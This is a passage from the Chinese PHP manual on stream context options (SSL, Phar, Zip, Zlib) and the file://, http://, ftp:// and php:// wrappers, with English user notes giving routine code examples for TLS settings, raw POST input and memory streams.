文件系统上的本地证书路径。 必须是 PEM 编码的文件，包含证书及私钥。 也可以包含证书颁发者证书链。 也可以通过 local_pk 指定包含私钥的独立文件。

local_pk string

如果使用独立的文件来存储证书（local_cert）和私钥， 那么使用此选项来指明私钥文件的路径。

passphrase string

local_cert 文件的密码。

verify_depth int

如果证书链条层次太深，超过了本选项的设定值，则终止验证。

默认情况下不限制证书链条层次深度。

ciphers string

设置可用的密码列表。 可用的值参见： » ciphers(1)。

默认值为 DEFAULT.

capture_peer_cert bool

如果设置为 true 将会在上下文中创建 peer_certificate 选项， 该选项中包含远端证书。

capture_peer_cert_chain bool

如果设置为 true 将会在上下文中创建 peer_certificate_chain 选项， 该选项中包含远端证书链条。

SNI_enabled bool

设置为 true 将启用服务器名称指示（server name indication）。 启用 SNI 将允许同一 IP 地址使用多个证书。

disable_compression bool

如果设置，则禁用 TLS 压缩，有助于减轻恶意攻击。

peer_fingerprint string | array

当远程服务器证书的摘要和指定的散列值不相同的时候， 终止操作。

当使用 string 时， 会根据字符串的长度来检测所使用的散列算法："md5"（32 字节）还是"sha1"（40 字节）。

当使用 array 时， 数组的键表示散列算法名称，其对应的值是预期的摘要值。

security_level int

设置安全级别。如果未指定，则使用库默认安全级别。 安全级别说明请参考 » SSL_CTX_get_security_level(3)。

从 PHP 7.2.0 和 OpenSSL 1.1.0 开始可用。

更新日志

版本 | 说明
7.2.0 | 添加了 security_level。 需要 OpenSSL >= 1.1.0。

注释

Note: 因为 ssl:// 是 https:// 和 ftps:// 的底层传输协议， 所以，ssl:// 的上下文选项也同样适用于 https:// 和 ftps:// 上下文。

Note: PHP 必须联合 OpenSSL 0.9.8j 或以上版本编译才可以支持 SNI， 同时也支持使用 OPENSSL_TLSEXT_SERVER_NAME 来探测 SNI 服务器名称。

参见

  • 套接字上下文选项

User Contributed Notes

tianyiw at vip dot qq dot com 09-Dec-2022 04:52
Enable SNI (Server Name Indication):
PEM must be contains certificate and private key.
<?php
$context = stream_context_create([
    'ssl' => [
        'SNI_enabled' => true,
        'SNI_server_certs' => [
            'host1.com' => '/path/host1.com.pem',
            'host2.com' => '/path/host2.com.pem',
        ],
    ]
]);
?>
consatangmail dot com 19-Apr-2022 03:41
recommended use "ssl://" transport.

in php 5.5 ~ 7.1
ssl:// transport = ssl_v2|ssl_v3|tls_v1.0|tls_v1.1|tls_v1.2
tls:// transport = tls_v1.0

after 7.2 ssl:// and tls:// transports is same
php 7.2 ~ 7.3 = tls_v1.0|tls_v1.1|tls_v1.2
php 7.4 ~ 8.1 = tls_v1.0|tls_v1.1|tls_v1.2|tls_v1.3
gabri dot ns at gmail dot com 13-Jan-2020 09:21
i usually download root CA certificate from https://curl.haxx.se/docs/caextract.html then put it as 'cafile' and it work almost all of the time.

the only problem i'v ever found is when the server does not properly sending intermediete CA certificate, then, you must add it manually to the file.
mechtecs at gmail dot com 09-Nov-2018 01:09
If you want to validate the server against a local certificate, which you already saved, to further validate the target server, you have to use a fullchain.pem. Then the verify_peer option will work. So just get the server certificate, and search the root CA's pem's and copy everything into a single file. For example:

My certificate has the "GeoTrust TLS RSA CA G1" certificate in the chain, so you google that string. Go to the official digicert Geotrust page and download the "GeoTrustTLSRSACAG1.crt" certificate. Then you can use the following command to convert it into the pem format:
openssl x509 -inform DER -in GeoTrustTLSRSACAG1.crt -out GeoTrustTLSRSACAG1.crt.pem -outform PEM
Charlie 05-Dec-2016 07:53
I am unable to load a PEM that was generated with the stunnel tools. However, I am able to use PHP calls to generate a working PEM that is recognized both by stunnel and php, as outlined here:

http://www.devdungeon.com/content/how-use-ssl-sockets-php

This code fragment is now working for me, and with stunnel verify=4, both sides confirm the fingerprint. Oddly, if "tls://" is set below, then TLSv1 is forced, but using "ssl://" allows TLSv1.2:

$stream_context = stream_context_create([ 'ssl' => [
'local_cert'        => '/path/to/key.pem',
'peer_fingerprint'  => openssl_x509_fingerprint(file_get_contents('/path/to/key.crt')),
'verify_peer'       => false,
'verify_peer_name'  => false,
'allow_self_signed' => true,
'verify_depth'      => 0 ]]);

$fp = stream_socket_client('ssl://ssl.server.com:12345',
   $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $stream_context);
fwrite($fp, "foo bar\n");
while($line = fgets($fp, 8192)) echo $line;
Charlie 02-Dec-2016 07:28
It appears that "allow_self_signed" does not and cannot apply to the local_cert option.

The stunnel verify=4 option, which verifies but ignores a CA, has no analog in these settings, which is unfortunate.

Even more perplexingly, while the "openssl verify -CAfile" is successful, PHP appears unable to use the new ca/crt pair in any configuration.

I did actually link my PHP against a copy of LibreSSL 2.3.8, but PHP oddly is unable to use TLS1.1 or 1.2. It does, however, enable EC secp521r1 (of which my native OpenSSL 0.9.8e is incapable).
website at meezaan dot net 05-Sep-2016 01:48
There is also a crypto_type context. In older versions this was crypto_method. This is referenced on http://php.net/manual/en/function.stream-socket-enable-crypto.php
borbas dot geri at gmail dot com 31-Jan-2014 12:06
I used this for Apple Push Notification Service.
Passed in a local certificate filename `cert.pem` trough local_cert option.
Worked fine, when invoked the script directly.

But when I included/required the script from a different location, it stopped working, without any explicit error message.

Resolved by passed in the full path for the file `<FullPathTo>cert.pem`.
Botjan kufca 20-Feb-2010 11:11
CN_match works contrary to intuitive thinking. I came across this when I was developing SSL server implemented in PHP. I stated (in code):

- do not allow self signed certs (works)
- verify peer certs against CA cert (works)
- verify the client's CN against CN_match (does not work), like this:

stream_context_set_option($context, 'ssl', 'CN_match', '*.example.org');

I presumed this would match any client with CN below .example.org domain.
Unfortunately this is NOT the case. The option above does not do that.

What it really does is this:
- it takes client's CN and compares it to CN_match
- IF CLIENT's CN CONTAINS AN ASTERISK like *.example.org, then it is matched against CN_match in wildcard matching fashion

Examples to illustrate behaviour:
(CNM = server's CN_match)
(CCN = client's CN)

- CNM=host.example.org, CCN=host.example.org ---> OK
- CNM=host.example.org, CCN=*.example.org ---> OK
- CNM=.example.org, CCN=*.example.org ---> OK
- CNM=example.org, CCN=*.example.org ---> ERROR

- CNM=*.example.org, CCN=host.example.org ---> ERROR
- CNM=*.example.org, CCN=*.example.org ---> OK

According to PHP sources I believe that the same applies if you are trying to act as Client and the server contains a wildcard certificate. If you set CN_match to myserver.example.org and server presents itself with *.example.org, the connection is allowed.

Everything above applies to PHP version 5.2.12.
I will supply a patch to support CN_match starting with asterisk.


Phar 上下文（context）选项列表

  • ? SSL 上下文选项
  • Context 参数 ?
  • PHP Manual
  • 上下文（Context）选项和参数
  • Phar 上下文（context）选项列表

Phar 上下文（context）选项

Phar 上下文（context）选项 — Phar 上下文（context）选项列表

说明

phar:// 封装（wrapper）的上下文（context）选项。

可选项

compress int

Phar 压缩常量中的一个。

metadata mixed

Phar 元数据（metadata）。查看 Phar::setMetadata()。

参见

  • phar://
  • Phar stream wrapper

User Contributed Notes

There are no user contributed notes for this page.


Context 参数列表

  • ? Phar 上下文（context）选项
  • Zip 上下文选项 ?
  • PHP Manual
  • 上下文（Context）选项和参数
  • Context 参数列表

Context 参数

Context 参数 — Context 参数列表

说明

这些参数（parameters）可以设置为由函数 stream_context_set_params() 返回的 context。

参数

notification callable

当一个流（stream）上发生事件时，callable 将被调用。

查看 stream_notification_callback 以获得更多信息。

User Contributed Notes

There are no user contributed notes for this page.


Zip 上下文选项列表

  • ? Context 参数
  • Zlib 上下文选项 ?
  • PHP Manual
  • 上下文（Context）选项和参数
  • Zip 上下文选项列表

Zip 上下文选项

Zip 上下文选项 — Zip 上下文选项列表

说明

Zip 上下文选项可用于 zip 包装器。

可选项

password

用于指定加密归档的密码。

更新日志

版本 | 说明
PHP 7.2.0, PECL zip 1.14.0 | 添加 password。

示例

Example #1 基础 password 用法示例

<?php
// 读取加密归档
$opts = array(
'zip' => array(
'password' => 'secret',
),
);
// 创建上下文...
$context = stream_context_create($opts);

// ...并且使用它读取数据
echo file_get_contents('zip://test.zip#test.txt', false, $context);

?>

User Contributed Notes

There are no user contributed notes for this page.


Zlib 上下文选项列表

  • ? Zip 上下文选项
  • 支持的协议和封装协议 ?
  • PHP Manual
  • 上下文（Context）选项和参数
  • Zlib 上下文选项列表

Zlib 上下文选项

Zlib 上下文选项 — Zlib 上下文选项列表

说明

Zlib 上下文选项可用于 zlib 封装协议。

可选项

level

用于指定压缩级别（0 - 9）。

更新日志

版本 | 说明
7.3.0 | 新增 level。

User Contributed Notes

There are no user contributed notes for this page.


支持的协议和封装协议

PHP 带有很多内置 URL 风格的封装协议，可用于类似 fopen()、
copy()、 file_exists() 和
filesize() 的文件系统函数。
除了这些封装协议，还能通过 stream_wrapper_register() 来注册自定义的封装协议。

Note: 用于描述一个封装协议的 URL 语法仅支持 scheme://... 的语法。 scheme:/ 和 scheme: 语法是不支持的。

Table of Contents

  • file:// — 访问本地文件系统
  • http:// — 访问 HTTP(s) 网址
  • ftp:// — 访问 FTP(s) URLs
  • php:// — 访问各个输入/输出流（I/O streams）
  • zlib:// — 压缩流
  • data:// — 数据（RFC 2397）
  • glob:// — 查找匹配的文件路径模式
  • phar:// — PHP 归档
  • ssh2:// — 安全外壳协议 2
  • rar:// — RAR
  • ogg:// — 音频流
  • expect:// — 处理交互式的流

User Contributed Notes

kazdotkanso at geeemail dot com 25-Sep-2020 06:28
The php://fd/ wrapper is only supported in the cli tool.
Anonymous 29-Mar-2018 06:02
Be forewarned:

the file:// protocol used in file_get_contents is used as the default for "any unrecognized protocol." Thus:

aldfjadlfadfladfl://whatever

will deliver the same as

file://whatever
Hayley Watson 10-Jan-2018 11:56
Even though their names will be the same, you can have more than one //memory or //temp stream open concurrently; each time you fopen() such a stream, a NEW stream will be opened independently of the others.

This is hinted at by the fact you don't add any unique identifier to the path when creating such streams, but isn't said explicitly.

<?php

$hello = fopen('php://memory', 'r+'); // $hello, $php, $world are all different streams.
$php  = fopen('php://memory', 'r+');
$world = fopen('php://memory', 'r+'); // They're not the same stream opened three times.

fputs($hello, "Hello ");
fputs($php, "PHP ");
rewind($php);
fputs($world, "World!");
rewind($hello);
rewind($world);

echo '[', stream_get_contents($hello), '][', stream_get_contents($php), '][', stream_get_contents($world), ']';
// If they were the same stream the output would be "[World!][World!][World!]".
?>
Anonymous 13-Aug-2017 12:37
If you want to filter incoming data through php://input use this:

file_get_contents("php://filter/read=string.strip_tags/resource=php://input");

I couldn't find any documentation to explain how to do this. All the examples I came across suggested that a full and actual URL had to be used (which didn't work for me).

This seems to work though.
Anonymous 28-Jan-2016 08:58
Note that STDIN and similar are defined only in CLI
ohcc at 163 dot com 05-Nov-2015 06:45
<?php
    //enable $HTTP_RAW_POST_DATA when necessary
    ini_set('always_populate_raw_post_data',-1);
    $HTTP_RAW_POST_DATA = file_get_contents('php://input');
    echo $HTTP_RAW_POST_DATA;
?>
nguyenanthuan at gmail dot com 18-Nov-2014 11:05
Each stream pointer to php://memory and php://temp has its own memory allocation, so you can open many stream pointers to store your separated values.

<?php
$fp = fopen("php://temp", "r+");
$fp2 = fopen("php://temp", "r+");

fwrite($fp, "line1\n");
fwrite($fp2, "line4\n");
fwrite($fp, "line2\n");
fwrite($fp2, "line5\n");
fwrite($fp, "line3\n");
fwrite($fp2, "line6\n");

var_dump(memory_get_usage());

rewind($fp);
while(!feof($fp)) {
    var_dump(fread($fp, 1024));
}
fclose($fp);
var_dump(memory_get_usage());

rewind($fp2);
while(!feof($fp2)) {
    var_dump(fread($fp2, 1024));
}
fclose($fp2);
var_dump(memory_get_usage());
?>

Closing their stream handles will also free the allocated memory.

php://memory stream type is MEMORY, while php://temp stream type is STDIO FILE*.
vibhavsinha91 at gmail dot com 08-Sep-2014 10:35
While writing to error stream, error_log() function comes as a shorthand to writing to php://stderr . This function also allows writing to web server log when running through a web server such as apache.
oliver at codeinline dot com 13-Feb-2014 07:14
A useful way to handle large file uploads is to do something like:

copy(("php://input"),$tmpfile);

as this avoids using lots of memory just to buffer the file content.

The correct mime type for this should be "application/octet-stream" however if you set this or any other recognised mime type other than "multipart/form-data" on your POST then $HTTP_RAW_POST_DATA is populated and the memory is consumed anyway.

Setting the mime type to "multipart/form-data" raises "PHP Warning:  Missing boundary in multipart/form-data POST data in Unknown on line 0" however it seems to work without a problem.
dave at 4mation dot com dot au 03-Jun-2013 04:46
The use of php://temp/maxmemory as a stream counts towards the memory usage of the script; you are not specifying a new memory pool by using this type of stream.
As noted in the documentation however, this stream type will start to write to a file after the specified maxmemory limit is exceeded. This file buffer is NOT observed by the memory limit.
This is handy if you want your script to have a reasonably small memory limit (eg 32MB) but but still be able to handle a huge amount of data in a stream (eg 256MB)

The only works if you use stream functions like fputs(); if you use $buffer .= 'string'; or $buffer = $buffer . 'string'; you're calling your stream data back into PHP and this will hit the limiter.

As a practical example:

<?php
// 0.5MB memory limit
ini_set('memory_limit', '0.5M');
// 2MB stream limit
$buffer = fopen('php://temp/maxmemory:1048576', 'r+');
$x = 0;
// Attempt to write 1MB to the stream
while ($x < 1*1024*1024) {
    fputs($buffer, 'a');
    $x++;
}
echo "This will never be displayed";
?>

However, change fopen to use php://temp/maxmemory:1 (one byte, rather than one megabyte) and it will begin writing to the unlimited file stream immediately, avoiding memory limit errors.
Anonymous 01-May-2013 09:17
In PHP 5.4+ you can read multipart data via php://input if you set enable_post_data_reading to Off.

Of course if you set it to off, the $_POST and $_FILES superglobals won't be populated at all. It's entirely up to you to parse the data now.
Justin Megawarne 23-Apr-2013 04:42
If my understanding of the implementing code is correct, every time you open a php://memory stream, you get new storage allocated. That is to say, php://memory isn't a shared bank of memory.
fabacrans__ at __nospamhotmail__ dot __com 05-Mar-2013 12:06
You can use "php://input" to accept and parse "PUT", "DELETE", etc. requests.

<?php
// Example to parse "PUT" requests
parse_str(file_get_contents('php://input'), $_PUT);

// The result
print_r($_PUT);
?>

(very useful for Restful API)
php at rapsys dot eu 06-Aug-2012 02:00
Here is a snippet to read compressed raw post data without enabling global variables.

I needed it to read xml posted data submitted by ocs agent. The data was sent as Content-Type: application/x-compressed (zlib compressed data).

It seems related to an old bug which still seems broken :
https://bugs.php.net/bug.php?id=49411

The important part is the default window set to 15 instead of -15.

Code snippet
<?php
$data = '';
$fh = fopen('php://input', 'rb');
stream_filter_append($fh, 'zlib.inflate', STREAM_FILTER_READ, array('window'=>15));
while(!feof($fh)) {
    $data .= fread($fh, 8192);
}
?>
aaron dot mason+php at thats-too-much dot info 05-Jun-2012 01:46
Be aware of code injection, folks - like anything else you take from the user, SANITISE IT FIRST.  This cannot be stressed enough - if I had a dollar for each time I saw code where form input was taken and directly used (by myself as well, I've been stupid too) I'd probably own PHP.  While using data from a form in a URL wrapper is asking for trouble, you can greatly minimise the trouble by making sure your inputs are sane and not likely to provide an opening for the LulzSec of the world to cause havoc.
Anonymous 04-May-2012 07:00
For php://filter the /resource=foo part must come last. And foo needs no escaping at all.
php://filter/resource=foo/read=somefilter would try to open a file 'foo/read=somefilter' while php://filter/read=somefilter/resource=foo will open file 'foo' with the somefilter filter applied.
leonid at shagabutdinov dot com 22-Jul-2011 09:45
For https for windows enable this extension:

extension=php_openssl.dll
sebastian dot krebs at kingcrunch dot de 04-Feb-2011 04:49
The stream php://temp/maxmemory:$limit stores the data in memory unless the limit is reached. Then it will write the whole content the a temporary file and frees the memory. I didnt found a way to get at least some of the data back to memory.
gjaman at gmail dot com 15-May-2008 02:15
You can decompress (gzip) a input stream by combining wrappers:

eg:  $x = file_get_contents("compress.zlib://php://input");

I used this method to decompress a gzip stream that was pushed to my webserver
jerry at gii dot co dot jp 17-Aug-2007 10:11
Not only are STDIN, STDOUT, and STDERR only allowed for CLI programs, but they are not allowed for programs that are read from STDIN. That can confuse you if you try to type in a simple test program.
sander at medicore dot nl 14-Jun-2007 04:25
to create a raw tcp listener system i use the following:

xinetd daemon with config like:
service test
{
        disable      = no
        type         = UNLISTED
        socket_type  = stream
        protocol     = tcp
        bind         = 127.0.0.1
        port         = 12345
        wait         = no
        user         = apache
        group        = apache
        instances    = 10
        server       = /usr/local/bin/php
        server_args  = -n [your php file here]
        only_from    = 127.0.0.1 #gotta love the security#
        log_type     = FILE /var/log/phperrors.log
        log_on_success += DURATION
}

now use fgets(STDIN) to read the input. Creates connections pretty quick, works like a charm.Writing can be done using the STDOUT, or just echo. Be aware that you're completely bypassing the webserver and thus certain variables will not be available.
ben dot johansen at gmail dot com 25-Oct-2006 02:57
followup:

I found that if I added this line to the AJAX call, the values would show up in the $_POST

xhttp.setRequestHeader('Content-Type',
'application/x-www-form-urlencoded');
ben dot johansen at gmail dot com 29-Aug-2006 11:02
Example of how to use the php://input to get raw post data

//read the raw data in
$roughHTTPPOST = file_get_contents("php://input");
//parse it into vars
parse_str($roughHTTPPOST);

if you do readfile("php://input") you will get the length of the post data
ben dot johansen at gmail dot com 29-Aug-2006 12:33
In trying to do AJAX with PHP and Javascript, I came upon an issue where the POST argument from the following javascript could not be read in via PHP 5 using the $_REQUEST or $_POST. I finally figured out how to read in the raw data using the php://input directive.

Javascript code:
=============
      //create request instance
      xhttp = new XMLHttpRequest();
      // set the event handler
      xhttp.onreadystatechange = serviceReturn;
      // prep the call, http method=POST, true=asynchronous call
      var Args = 'number='+NbrValue;
      xhttp.open("POST", "http://<?php echo $_SERVER['SERVER_NAME'] ?>/webservices/ws_service.php", true);
      // send the call with args
      xhttp.send(Args);

PHP Code:
    //read the raw data in
    $roughHTTPPOST = file_get_contents("php://input");
    //parse it into vars
    parse_str($roughHTTPPOST);
heitorsiller at uol dot com dot br 07-Jul-2006 07:55
For reading a XML stream, this will work just fine:
<?php

$arq = file_get_contents('php://input');

?>

Then you can parse the XML like this:

<?php

$xml = xml_parser_create();

xml_parse_into_struct($xml, $arq, $vs);

xml_parser_free($xml);

$data = "";

foreach($vs as $v){

        if($v['level'] == 3 && $v['type'] == 'complete')
                $data .= "\n".$v['tag']." -> ".$v['value'];
}

echo $data;

?>

PS.: This is particularly useful for receiving mobile originated (MO) SMS messages from cellular phone companies.
nyvsld at gmail dot com 27-Nov-2005 10:28
php://stdin supports fseek() and fstat() function call,
while php://input doesn't.
chris at free-source dot com 26-Apr-2005 12:52
If you're looking for a unix based smb wrapper there isn't one built in,  but I've had luck with http://www.zevils.com/cgi-bin/viewcvs.cgi/libsmbclient-php/ (tarball link at the end).
nargy at yahoo dot com 24-Sep-2004 03:16
When opening php://output in append mode you get an error, the way to do it:
$fp=fopen("php://output","w");
fwrite($fp,"Hello, world !<BR>\n");
fclose($fp);
aidan at php dot net 27-May-2004 03:34
The contants:

* STDIN
* STDOUT
* STDERR

Were introduced in PHP 4.3.0 and are synomous with the fopen('php://stdx') result resource.
lupti at yahoo dot com 29-Nov-2003 02:04
I find using file_get_contents with php://input is very handy and efficient. Here is the code:

$request = "";
$request = file_get_contents("php://input");

I don't need to declare the URL filr string as "r". It automatically handles open the file with read.

I can then use this $request string to your XMLparser as data.
sam at bigwig dot net 15-Aug-2003 08:02
[ Editor's Note: There is a way to know.  All response headers (from both the final responding server and intermediate redirecters) can be found in $http_response_header or stream_get_meta_data() as described above. ]

If you open an HTTP url and the server issues a Location style redirect, the redirected contents will be read but you can't find out that this has happened.

So if you then parse the returned html and try and rationalise relative URLs you could get it wrong.


访问本地文件系统

  • ? 支持的协议和封装协议
  • http:// ?
  • PHP Manual
  • 支持的协议和封装协议
  • 访问本地文件系统

file://

file:// — 访问本地文件系统

说明

文件系统 是 PHP 使用的默认封装协议，展现了本地文件系统。 当指定了一个相对路径（不以/、\、\\或 Windows 盘符开头的路径）提供的路径将基于当前的工作目录。 在很多情况下是脚本所在的目录，除非被修改了。 使用 CLI 的时候，目录默认是脚本被调用时所在的目录。

在某些函数里，例如 fopen() 和 file_get_contents()， include_path 会可选地搜索，也作为相对的路径。

用法

  • /path/to/file.ext
  • relative/path/to/file.ext
  • fileInCwd.ext
  • C:/path/to/winfile.ext
  • C:\path\to\winfile.ext
  • \\smbserver\share\path\to\winfile.ext
  • file:///path/to/file.ext

可选项

封装协议概要
属性 | 支持
受 allow_url_fopen 影响 | No
允许读取 | Yes
允许写入 | Yes
允许添加 | Yes
允许同时读和写 | Yes
支持 stat() | Yes
支持 unlink() | Yes
支持 rename() | Yes
支持 mkdir() | Yes
支持 rmdir() | Yes

User Contributed Notes

There are no user contributed notes for this page.


访问 HTTP(s) 网址

  • ? file://
  • ftp:// ?
  • PHP Manual
  • 支持的协议和封装协议
  • 访问 HTTP(s) 网址

http://

https://

http:// -- https:// — 访问 HTTP(s) 网址

说明

允许通过 HTTP 对文件/资源进行可读访问。默认使用 HTTP 1.0 GET。 HTTP 请求会附带一个 Host: 头，用于兼容基于域名的虚拟主机。 如果在你的 php.ini 文件中或字节流上下文（context）配置了 user_agent 字符串，它也会被包含在请求之中。

数据流允许读取资源的 body，而 headers 则储存在了 $http_response_header 变量里。

如果需要知道文档资源来自哪个 URL（经过所有重定向的处理后）， 需要处理数据流返回的系列响应报头（response headers）。

The from directive will be used for the From: header if set and not overwritten by the 上下文（Context）选项和参数.

用法

  • http://example.com
  • http://example.com/file.php?var1=val1&var2=val2
  • http://user:password@example.com
  • https://example.com
  • https://example.com/file.php?var1=val1&var2=val2
  • https://user:password@example.com

可选项

封装协议概要
属性 | 支持
受 allow_url_fopen 限制 | Yes
允许读取 | Yes
允许写入 | No
允许添加 | No
允许同时读和写 | N/A
支持 stat() | No
支持 unlink() | No
支持 rename() | No
支持 mkdir() | No
支持 rmdir() | No

示例

Example #1 检测重定向后最终的 URL

<?php
$url = 'http://www.example.com/redirecting_page.php';

$fp = fopen($url, 'r');

$meta_data = stream_get_meta_data($fp);
foreach ($meta_data['wrapper_data'] as $response) {

/* 我们是否被重定向了？ */
if (strtolower(substr($response, 0, 10)) == 'location: ') {

/* 更新我们被重定向后的 $url */
$url = substr($response, 10);
}

}

?>

注释

Note: openssl 扩展启用后才能够支持 HTTPS 协议。

HTTP 连接是只读的；还不支持对一个 HTTP 资源进行写数据或者复制文件。

比如发送 POST 和 PUT 请求， 可以在 HTTP Contexts 的支持下实现。

参见

  • HTTP context 选项
  • $http_response_header
  • stream_get_meta_data() - 从流或文件指针中获取 header/meta 数据

User Contributed Notes

Rainer Perske 09-Nov-2015 04:27
Passing authentication information in the URL as in "https://user:password@example.com" works for HTTP "Basic" access authentication but not for HTTP "Digest" access authentication. You can use the cURL functions for servers requesting HTTP "Digest" access authentication.
NEA at AraTaraBul dot com 29-Jul-2007 04:06
HTTP post function;

<?php
function post_it($datastream, $url) {

$url = preg_replace("@^http://@i", "", $url);
$host = substr($url, 0, strpos($url, "/"));
$uri = strstr($url, "/");

      $reqbody = "";
      foreach($datastream as $key=>$val) {
          if (!empty($reqbody)) $reqbody.= "&";
      $reqbody.= $key."=".urlencode($val);
      }

$contentlength = strlen($reqbody);
     $reqheader =  "POST $uri HTTP/1.1\r\n".
                   "Host: $host\n". "User-Agent: PostIt\r\n".
     "Content-Type: application/x-www-form-urlencoded\r\n".
     "Content-Length: $contentlength\r\n\r\n".
     "$reqbody\r\n";

$socket = fsockopen($host, 80, $errno, $errstr);

if (!$socket) {
   $result["errno"] = $errno;
   $result["errstr"] = $errstr;
   return $result;
}

fputs($socket, $reqheader);

while (!feof($socket)) {
   $result[] = fgets($socket, 4096);
}

fclose($socket);

return $result;
}
?>
Sinured 28-Jun-2007 03:24
If you want to send more than one custom header, just make header an array:

<?php
$default_opts = array(
    'http' => array(
        'user_agent' => 'Foobar',
        'header' => array(
            'X-Foo: Bar',
            'X-Bar: Baz'
        )
    )
);
stream_context_get_default($default_opts);
readfile('http://www.xhaus.com/headers');
?>
dwalton at acm dot org 17-Nov-2006 12:18
As it says on this page:

"The stream allows access to the body of the resource; the headers are stored in the $http_response_header variable. Since PHP 4.3.0, the headers are available using stream_get_meta_data()."

This one sentence is the only documentation I have found on the mysterious $http_response_header variable, and I'm afraid it's misleading.  It implies that from 4.3.0 onward, stream_get_meta_data() ought to be used in favor of $http_response_header.

Don't be fooled!  stream_get_meta_data() requires a stream reference, which makes it ONLY useful with fopen() and related functions.  However, $http_response_header can be used to get the headers from the much simpler file_get_contents() and related functions, which makes it still very useful in 5.x.

Also note that even when file_get_contents() and friends fail due to a 4xx or 5xx error and return false, the headers are still available in $http_response_header.


访问 FTP(s) URLs

  • ? http://
  • php:// ?
  • PHP Manual
  • 支持的协议和封装协议
  • 访问 FTP(s) URLs

ftp://

ftps://

ftp:// -- ftps:// — 访问 FTP(s) URLs

说明

允许通过 FTP 读取存在的文件，以及创建新文件。 如果服务器不支持被动（passive）模式的 FTP，连接会失败。

打开文件后你既可以读也可以写，但是不能同时进行。 当远程文件已经存在于 ftp 服务器上，如果尝试打开并写入文件的时候， 未指定上下文（context）选项 overwrite，连接会失败。 如果要通过 FTP 覆盖存在的文件， 指定上下文（context）的 overwrite 选项来打开、写入。 另外可使用 FTP 扩展来代替。

如果你设置了 php.ini 中的 from 指令， 这个值会作为匿名（anonymous）ftp 的密码。

用法

  • ftp://example.com/pub/file.txt
  • ftp://user:password@example.com/pub/file.txt
  • ftps://example.com/pub/file.txt
  • ftps://user:password@example.com/pub/file.txt

可选项

封装协议概要
属性 | 是否支持
受 allow_url_fopen 影响 | 是
允许读取 | 是
允许写入 | 是 (新文件/启用 overwrite 后已存在的文件)
允许添加 | 是
允许同时读和写 | 否
支持 stat() | 仅 filesize()、filemtime()、 filetype()、 file_exists()、 is_file() 和 is_dir()。
支持 unlink() | 是
支持 rename() | 是
支持 mkdir() | 是
支持 rmdir() | 是

注释

Note:

FTPS 仅在 openssl 扩展开启时有效。

如果服务器不支持 SSL，这个连接会降级（falls back）到普通未加密的 ftp。

Note: 追加
文件可以通过 ftp:// URL 封装器来追加（append）。

参见

  • FTP 上下文选项

User Contributed Notes

fazil dot stormhammer dot nospam at gmail dot com 25-Apr-2008 01:41
Document says "Allows read access to existing files and creation of new files via FTP. If the server does not support passive mode ftp, the connection will fail. "

As of version 5.2.5 at least fopen("ftp://...") uses an ACTIVE mode connection by default (it issues an FTP PORT command but not a PASV command).  To force passive mode:

$f = fopen("ftp://...");
ftp_pasv($f, true);
25-Sep-2005 08:33
<?
$str ="replace all contenents";
$filew="ftp://gufo:gufo@192.168.1.55:21/jj.php";
$opts = array('ftp' => array('overwrite' => true));
$context = stream_context_create($opts);
$strwri = file_put_contents($filew,$str,LOCK_EX,$context);
?>
php at f00n dot com 04-Jul-2004 12:39
For Intranet purposes I found I preferred to move my file via ftp functions to match the session user's ftp account and put the file in a holding bay so I knew who it was from.

The FTP wrapper method will NOT do this if your ftp server does NOT support passive mode.

eg.  an ftp server behind NAT/routing


访问各个输入/输出流（I/O streams）

  • ? ftp://
  • zlib:// ?
  • PHP Manual
  • 支持的协议和封装协议
  • 访问各个输入/输出流（I/O streams）

php://

php:// — 访问各个输入/输出流（I/O streams）

说明

PHP 提供了一些杂项输入/输出（IO）流，允许访问 PHP 的输入输出流、标准输入输出和错误描述符， 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

php://stdin, php://stdout 和 php://stderr

php://stdin、php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。 数据流引用了复制的文件描述符，所以如果你打开 php://stdin 并在之后关了它， 仅是关闭了复制品，真正被引用的 STDIN 并不受影响。 推荐你简单使用常量 STDIN、 STDOUT 和 STDERR 来代替手工打开这些封装器。

php://stdin 是只读的， php://stdout 和 php://stderr 是只写的。

php://input

php://input 是个可以访问请求的原始数据的只读流。 如果启用了 enable_post_data_reading 选项， php://input 在使用 enctype="multipart/form-data" 的 POST 请求中不可用。

php://output

php://output 是一个只写的数据流， 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

php://fd

php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。

php://memory 和 php://temp

php://memory 和 php://temp 是一个类似文件 包装器的数据流，允许读写临时数据。 两者的一个区别是 php://memory 总是把数据储存在内存中， 而 php://temp 会在内存量达到预定义的限制后（默认是 2MB）存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。

php://temp 的内存限制可通过添加 /maxmemory:NN 来控制，NN 是以字节为单位、保留在内存的最大数据量，超过则使用临时文件。

Caution

某些 PHP 扩展可能需要标准 IO 流，并且可能尝试将指定流转换为标准 IO 流。对于内存流，此转换可能会失败，因为需要 C fopencookie() 函数可以调用。此 C 函数在 Windows 上无效。

php://filter

php://filter 是一种元封装器， 设计用于数据流打开时的筛选过滤应用。 这对于一体式（all-in-one）的文件函数非常有用，类似 readfile()、 file() 和 file_get_contents()， 在数据流内容读取之前没有机会应用其他过滤器。

php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。

php://filter 参数
名称 | 描述
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。
<；两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

可选项

封装协议摘要（针对 php://filter，参考被筛选的封装器。）
属性 | 支持
受限于 allow_url_fopen | No
受限于 allow_url_include | 仅 php://input、 php://stdin、 php://memory 和 php://temp。
允许读取 | 仅 php://stdin、 php://input、 php://fd、 php://memory 和 php://temp。
允许写入 | 仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和 php://temp。
允许追加 | 仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和 php://temp（等于写入）
允许同时读写 | 仅 php://fd、 php://memory 和 php://temp。
支持 stat() | 不支持。不过，php://memory 和 php://temp 支持 fstat()。
支持 unlink() | No
支持 rename() | No
支持 mkdir() | No
支持 rmdir() | No
